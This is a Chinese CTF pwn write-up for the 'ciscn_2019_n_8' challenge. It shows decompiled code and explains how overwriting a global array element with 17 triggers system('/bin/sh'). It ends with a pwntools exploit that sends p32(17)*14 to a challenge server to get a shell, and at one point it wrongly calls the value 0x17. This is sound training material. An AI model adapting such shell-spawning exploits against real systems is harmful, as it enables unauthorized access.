ciscn_2019_n_8

题目

ciscn_2019_n_8

先查壳,无壳,elf32位程序

使用checksec

checksec --file=ciscn_2019_n_8                                           1 ⨯
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH       Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   79) Symbols        No    0               1               ciscn_2019_n_8   

可以看到Canary,NX,PIE都处于开启状态,拖入IDA

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

在IDA中,_WORD代表一个字(1个字=2个字节=16位),_DWORD代表两个字(2个字=4个字节=32位),_QWORD(4个字=8个字节=64位),_OWORD(8个字=16个字节=128位)

var数组
.bss:00004060 ; _DWORD var[15]
.bss:00004060 var             dd 0Fh dup(?)           ; DATA XREF: main+28↑o.bss:00004060 ; _DWORD var[15]
.bss:00004060 var             dd 0Fh dup(?)           ; DATA XREF: main+28↑o

可以看到每个单位长度为DWORD,即四字节,看完反汇编代码,发现关键点是 *(_QWORD *)&var[13]和 *(_QWORD *)&var[13] == 17LL
可能c语言没学好,有点不理解,所有打开汇编代码

test    eax, eax
jnz     short loc_131E

发现每次跳转前需要test eax,eax

test指令操作是目的操作数和源操作数按位逻辑“与“操作,运算结果不送回目的操作数
所以这里只需要满足var[13]存在且为0x17即可
exp

from pwn import *

context.log_level = 'debug'
p = remote('node4.buuoj.cn', 27707)
payload = p32(17)*14
p.sendline(payload)
p.interactive()
posted @ 2021-09-25 22:29  超级想睡觉  阅读(290)  评论(0)    收藏  举报